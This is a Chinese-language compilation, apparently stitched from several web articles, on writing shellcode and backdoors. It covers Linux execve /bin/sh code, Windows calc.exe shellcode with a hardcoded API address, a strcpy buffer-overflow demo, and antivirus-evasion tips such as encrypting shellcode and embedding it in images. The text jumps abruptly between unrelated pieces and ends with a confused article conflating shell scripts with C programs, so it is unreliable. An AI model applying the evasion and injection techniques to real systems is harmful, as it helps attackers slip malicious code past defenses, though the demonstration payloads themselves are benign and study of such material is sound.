4.3 后门ShellCode的编写
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shellcode生产原理(实用版)目录一、Shellcode 概述二、Shellcode 的原理三、Shellcode 的编写四、Shellcode 的利用五、Shellcode 的安全防范正文一、Shellcode 概述Shellcode 是指一种用于攻击计算机系统的二进制代码,通常由黑客或病毒作者编写,通过各种途径植入到目标系统中,用于实现对目标系统的控制或获取系统敏感信息等恶意行为。
Shellcode 通常是一段可执行的二进制代码,可以被直接注入到受攻击系统的内存中,从而实现对系统的控制。
二、Shellcode 的原理Shellcode 的原理主要是利用目标系统中的漏洞,通过溢出等方式将Shellcode 注入到系统的内存中,从而实现对系统的控制。
Shellcode 通常会在目标系统中开辟一个新的进程,然后执行自身的代码,以达到控制目标系统的目的。
三、Shellcode 的编写Shellcode 的编写通常需要根据目标系统的架构和漏洞类型来定制,因此,Shellcode 的编写具有一定的技术难度。
一般来说,Shellcode 的编写需要掌握汇编语言和计算机系统架构等相关知识。
四、Shellcode 的利用Shellcode 的利用主要是通过各种途径将 Shellcode 植入到目标系统中,然后通过执行 Shellcode 来实现对目标系统的控制。
Shellcode 的利用方式有很多,例如,通过邮件攻击、网页攻击、漏洞攻击等方式将Shellcode 植入到目标系统中。
五、Shellcode 的安全防范由于 Shellcode 具有很强的攻击性,因此,对于计算机系统来说,防范 Shellcode 的攻击是非常重要的。
⼆进制⼊门-打造Linuxshellcode基础篇0x01 前⾔本⽂的⽬的不是为了介绍如何进⾏恶意的破坏性活动,⽽是为了教会你如何去防御此类破坏性活动,以帮助你扩⼤知识范围,完善⾃⼰的技能,如有读者运⽤本⽂所学技术从事破坏性活动,本⼈概不负责。
0x02 什么是Shellcodeshellcode是⽤作利⽤软件漏洞的有效载荷的⼀⼩段代码,因为它通常启动⼀个命令shell,攻击者可以从中控制受攻击的机器,所以称他为。
但是任何执⾏类似任务的代码都可以称为shellcode。
因为有效载荷的功能不仅限于⼀个shell。
shellcode基本的编写⽅式有以下三种直接编写⼗六进制操作码。
使⽤c语⾔编写程序,然后进⾏编译,最后进⾏反汇编来获取汇编指令和⼗六进制操作码。
编写汇编程序,将该程序汇编,然后从⼆进制中提取⼗六进制操作码。
第⼀种⽅法很极端,直接编写⼗六进制操作码是⼀件⾮常难得事情。
下⾯我将带⼤家⼀步步去编写⾃⼰的shellcode。
0x03 execve系统调⽤在Linux系统上执⾏程序的⽅式有多种,但是其中使⽤最⼴泛的⼀种⽅式就是通过借助execve系统调⽤。
我们⾸先来看看execve的使⽤⽅法。
说明看起来很复杂,其实很简单。
我们先使⽤c语⾔来实现它。
c语⾔实现execve系统调⽤创建shell我们⾸先来新建⼀个⽂件:我们使⽤vim来编写代码:看完上⾯的介绍,使⽤c语⾔来实现就很简单了。
123456789#include <unistd.h> int main(){ char * shell[2];shell[0]="/bin/sh";shell[1]=NULL;execve(shell[0],shell,NULL);}然后我们使⽤gcc 编译器来编译⼀下:运⾏看看:成功执⾏创建⼀个shell 。
转向汇编语⾔前⾯我们已经使⽤c 语⾔来实现了,现在我们就需要⽤汇编语⾔来重写execve 系统调⽤,其实很简单。
shellcode执行原理
Shellcode是一种用于利用计算机系统漏洞的机器码。
它通常是由黑客编写的,用于利用软件漏洞来执行恶意操作。
Shellcode 的执行原理涉及计算机系统的内存管理和指令执行。
首先,当Shellcode被注入到受攻击的程序中时,它会被当作一段可执行代码加载到内存中。
接着,Shellcode会利用漏洞来改变程序的正常执行流程,使其跳转到Shellcode所在的内存地址。
一旦执行到Shellcode,它会利用系统调用或者其他技术来实现恶意操作,比如获取系统权限、下载恶意文件、或者执行其他任意指令。
在执行过程中,Shellcode可能会利用缓冲区溢出、格式化字符串漏洞、或者其他漏洞来实现其恶意目的。
它可能会修改内存中的数据、覆盖函数返回地址、或者利用其他技术来控制程序的执行流程。
总的来说,Shellcode的执行原理涉及利用漏洞改变程序的正常执行流程,使其执行恶意的机器码,从而实现黑客的攻击目的。
为了防范Shellcode的攻击,软件开发者需要注意安全编程实践,
及时修复漏洞,并且用户需要保持系统和软件的及时更新以防止被利用。
一.后门的定义最早的后门是由系统开发人员为自己留下入口而安装的,而今天,并非开发人员将后门装入自己设计的程序中,而是大多数攻击者将后门装入他人开发和维护的系统中。
通过使用这样的后门,攻击者可以很轻松地获得系统的访问权,进而获得系统的控制权。
为了更加明确,我们给出后门的以下定义:后门是一个允许攻击者绕过系统中常规安全控制机制的程序,它按照攻击者自己的意愿提供通道。
有许多不同类型的后门,但每种都可以绕过系统的常规性安全检测,使得攻击者获得进入系统的入口。
例如:一个普通的用户可能不得不输入一个口令,这个口令每90天会变换一次。
而有了后门,攻击者可以用一个固定的口令而无需变换。
有了植入系统的后门,攻击者可能根本不需要提供任何口令就可以登录到计算机。
普通用户可能被迫使用某个特别的加密协议访问计算机,而攻击者可以利用后门访问那些使用完全不同协议的计算机。
一旦安装了后门,攻击者如何访问该逻辑单元完全取决于攻击者自己。
许多人用特洛伊木马或者简单地用特洛伊来形容每个后门,这种将术语“后门”和特洛伊木马混淆的做法是非常错误的,应该尽量避免。
后门只是简单地提供通道,而特洛伊木马将自己伪装成某个有用的程序,或者干脆将自己隐藏起来,不要将这些概念混为一谈。
如果一个程序仅提供后门通道,那么它只是一个后门;如果可以伪装成一个有用的程序,那么它便是特洛伊木马。
当然,有的工具可以同时是后门和特洛伊木马。
但是,只有当攻击者企图将后门伪装成某个有用程序时,它才可以称为“特洛伊木马”。
我们用特洛伊木马后门这一不太明确的概念定义这种工具,因为它们伪装成某个友善的程序同时还提供访问通道,利用这一完全定义将有助于人们理解后门与木马的区别。
二.不同类型的后门通道正如我们在前面定义中看到的一样,后门的作用在于为攻击者进入目标计算机提供通道。
这个通道可能表现为不同形式,它取决于攻击者的目的和所使用的特定后门类型。
后门能够为攻击者提供许多种不同类型的访问,包括以下几种:本地权限的提升:这类后门使得对系统有访问权的攻击者突然变换其权限等级成为管理员,有了这些超级用户权限,攻击者可以重新设置系统或访问任何存储在系统中的文件。
shell code免杀思路摘要:一、shell code简介二、shell code免杀方法1.修改Shellcode内存地址2.修改Shellcode长度3.加密Shellcode4.隐藏Shellcode三、实战案例四、总结与建议正文:一、shell code简介Shellcode,即漏洞利用代码,是在操作系统或应用程序中利用漏洞执行的一段恶意代码。
它通常用于渗透测试和恶意软件攻击中。
由于安全软件对恶意文件的检测和拦截能力越来越强,因此对shell code进行免杀处理变得尤为重要。
二、shell code免杀方法1.修改Shellcode内存地址将Shellcode注入到内存中某个地址,然后修改返回地址,使其指向Shellcode。
这样可以绕过安全软件对固定内存地址的检测。
2.修改Shellcode长度根据目标系统和服务器环境,修改Shellcode的长度,以避免安全软件通过检测字节数来识别恶意文件。
3.加密Shellcode使用加密算法对Shellcode进行加密,可以降低其在磁盘上的特征。
需要注意的是,加密和解密过程要在内存中进行,以避免在磁盘上留下明文痕迹。
4.隐藏Shellcode将Shellcode嵌入到正常文件中,如图片、文本等,以降低其被安全软件检测的概率。
在进行嵌入时,可以选择使用一些技巧,如文件分片、替换字符等。
三、实战案例以下是一个简单的实战案例:假设我们要利用一个存在缓冲区溢出的漏洞,可以将以下Shellcode编写为:```mov eax, 1 ; 系统调用号:1(exit)xor ebx, ebx ; 初始化寄存器int 0x80 ; 执行系统调用```然后对Shellcode进行加密、修改内存地址和长度等操作,最后将加密后的Shellcode注入到目标系统中。
四、总结与建议虽然shell code免杀技术在一定程度上可以降低恶意文件被检测的概率,但随着安全技术的发展,免杀技术也面临着越来越多的挑战。
编写shellcode的全过程1、很简单的一段代码,功能就是打开Windows自带的计算器程序。
而我要实现的shellcode的功能就是这个。
1.#include <windows.h>2.3.int main()4.{5.LoadLibraryA("kernel32.dll");6.7.WinExec("calc.exe", SW_SHOW);8.9.return 0;10.}2、将WinExec("calc.exe", SW_SHOW);改成汇编后的样子。
1.#include <windows.h>2.3.int main()4.{5.char str[]="calc.exe";6.char* p = str;7.8.LoadLibraryA("kernel32.dll");9.10.__asm11.{12.push 0;13.14.mov eax,p;15.push eax;16.17.mov eax,0x7c86250d; //WinExec的地址18.call eax;19.}20.21.return 0;22.}3、在堆栈中构造字符串,经典!这招是我在书上学来的,并非本人原创 -_-。
1./*2.* Author: Leng_que3.* Date: 2009年10月12日11:02:404.*E-mail:******************.cn5.* Description: 一段通过WinExec运行calc.exe的shellcode 雏形I6.* Comment: 在WindowsXP SP3 + VC6.0环境下调试通过7.*/8.9.#include <windows.h>10.11.int main()12.{13.//因为WinExec这个API函数在kernel32.dll这个动态链接库里,所以要先加载它14.LoadLibraryA("kernel32.dll");15.16.__asm17.{18.push ebp;19.mov ebp,esp;20.21.//在堆栈中构造字符串:calc.exe22.xor eax,eax;23.push eax;24.25.sub esp,08h;26.mov byte ptr [ebp-0ch],63h;27.mov byte ptr [ebp-0bh],61h;28.mov byte ptr [ebp-0ah],6Ch;29.mov byte ptr [ebp-09h],63h;30.31.mov byte ptr [ebp-08h],2Eh;32.mov byte ptr [ebp-07h],65h;33.mov byte ptr [ebp-06h],78h;34.mov byte ptr [ebp-05h],65h;35.36.//执行WinExec,启动计算器程序37.push 0;38.39.lea eax,[ebp-0ch];40.push eax;41.42.mov eax,0x7c86250d; //WinExec的地址43.call eax;44.45.//平衡堆栈46.mov esp,ebp;47.pop ebp;48.}49.50.return 0;51.}4、具有shellcode特点的汇编代码完成了!值得一提:在这一步我这么也得不到LoadLibrary(在原来的代码中我是写这个的)的地址,于是只好先去吃饭,在来回饭堂的校道上,我突然想到了,原来自己一时忘记,于是犯了一个低级错误,其中在Kernel32.dll里是没有LoadLibrary这个函数的,只有LoadLibraryA 和LoadLibraryW,它们的区别在于传入的参数是ANSI编码的还是Unicode编码的,但是为什么我们在平时的编程中写LoadLibrary又可以正常运行呢?那是因为其实这个LoadLibrary只是一个宏而已啦,在VC6.0下选中这个LoadLibrary函数(当然,应该叫宏更准确些),然后右键->"Go To Definition"一下就知道了。
Window中的shellcode编写框架(⼊门篇)Shellcode定义 是⼀段可注⼊的指令(opcode),可以在被攻击的程序内运⾏。
特点 短⼩精悍,灵活多变,独⽴存在,⽆需任何⽂件格式的包装,因为shellcode直接操作寄存器和函数,所以opcode必须是16进制形式。
因此也不能⽤⾼级语⾔编写shellcode。
在内存中运⾏,⽆需运⾏在固定的宿主进程上。
Shellcode的利⽤原理 将shellcode注⼊缓冲区,然后欺骗⽬标程序执⾏它。
⽽将shellcode注⼊缓冲区最常⽤的⽅法是利⽤⽬标系统上的缓冲区溢出漏洞。
Shellcode⽣成⽅法编程语⾔编写:汇编语⾔,C语⾔shellcode⽣成器Shellcode编写原则杜绝双引号字符串的直接使⽤ 关闭VS⾃动优化没有使⽤到的变量 ⾃定义函数⼊⼝动态获取函数的地址 GetProAddress 从dll中获取函数的地址 参数1:调⽤dll的句柄,参数2:函数名 Bug:error C2760: 语法错误: 意外的令牌“标识符”,预期的令牌为“类型说明符” 打开项⽬⼯程-> 属性 -> c/c++ --> 语⾔ -> 符合模式修改成否即可如果这样设置将⽆法使⽤c函数。
这个⽐较关键,否则使⽤printf就直接崩溃或者是编译报错 最佳⽅案是:修改平台⼯具集通过获得Kernel32基址来获取GetProcAddres基址避免全局变量的使⽤ 因为vs会将全局变量编译在其他区段中结果就是⼀个绝对的地址不能使⽤static定义变量(变量放到内部函数使⽤)确保已加载使⽤API的动态链接库编写shellcode前的准备修改程序⼊⼝点:链接器-⾼级。
作⽤:去除⾃动⽣成的多余的exe代码关闭缓冲区安全检查,属性->C/C++ ->代码⽣成->安全检查禁⽤设置⼯程兼容window XP :代码⽣成 ->运⾏库选择 debug MTD release MT清除资源:链接器->调试->清单⽂件关闭调试功能如下:属性->常规->平台⼯具集选择xp版本C/C++->代码⽣成->运⾏库选择MT安全检查禁⽤链接器->⾼级->⼊⼝点修改为EntryMain函数动态链接调⽤ 在编写shellcode时,所有⽤到的函数都需要动态调⽤,通过LoadLibrary函数加载动态链接库,GetProAddress获取动态链接库中函数的地址。
Shellcode的原理及编写(基础)展开全文1.shellcode原理Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。
另外,Shellcode一般是作为数据发送给受攻击服务的。
Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。
漏洞利用中最关键的是Shellcode的编写。
由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
如下链接是shellcode编写的基础,仅供参考/uid-24917554-id-3506660.html缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。
[cpp] view plain copy1.int fun(char *shellcode)2.{3.char str[4]="";//这里定义4个字节4.strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出5.printf("%s",str);6.return 1;7.}8.int main(int argc, char* argv[])9.{10.char str[]="aaaaaaaaaaaaaaaaaaa!";11.fun(str);12.return 0;13.}如上程序,会导致缓冲区溢出。
程序运行后截图如下如上可以看出来,异常偏移是61616161,其实自己观察61616161其实就是aaaa的Hex编码因为调用函数的过程大致是1:将参数从右到左压入堆栈2:将下一条指令的地址压入堆栈3:函数内部的临时变量申请4:函数调用完成,退出内存栈区从高到低[参数][ebp][返回地址][函数内部变量空间]如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化如图0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。
c语言 shell程序源码(实用版)目录1.C 语言和 Shell 程序简介2.C 语言 Shell 程序的编写方法3.C 语言 Shell 程序的运行与调试4.C 语言 Shell 程序的实际应用案例正文一、C 语言和 Shell 程序简介C 语言是一种广泛应用于操作系统、嵌入式系统等领域的编程语言。
其具有语法简洁、执行效率高、跨平台等特点。
Shell 程序则是一种在操作系统中,用于管理和操作文件、目录、系统等的命令行工具。
通过 C 语言编写 Shell 程序,可以实现对操作系统更深入的控制和操作。
二、C 语言 Shell 程序的编写方法1.选择合适的 Shell:在编写 C 语言 Shell 程序之前,需要选择一个适合的 Shell。
常见的 Shell 有 Bash、Zsh、Fish 等。
选择合适的 Shell 可以根据个人喜好以及项目需求来确定。
2.了解 Shell 编程的基本语法:Shell 编程的基本语法包括变量、条件语句、循环语句、函数等。
这些语法与 C 语言有一定的相似性,但仍有很多特有语法需要掌握。
3.编写 Shell 脚本:在了解基本语法后,可以开始编写 Shell 脚本。
通常,Shell 脚本的扩展名为.sh,文件格式为纯文本。
编写时,可以使用任何文本编辑器,如 Vim、Nano 等。
4.使用 C 语言调用 Shell 程序:在 C 语言程序中,可以使用系统调用函数调用编写的 Shell 程序。
例如,可以使用 fork() 和 execvp()函数来调用 Shell 程序。
三、C 语言 Shell 程序的运行与调试1.手动运行:编写好的 Shell 程序可以直接在命令行中运行。
例如,可以将 Shell 程序的文件路径作为参数传递给 bash 命令,如:./shell_program.sh。
2.调试:在编写 Shell 程序时,可能会遇到一些问题。
可以使用调试工具,如 GDB,来调试 Shell 程序。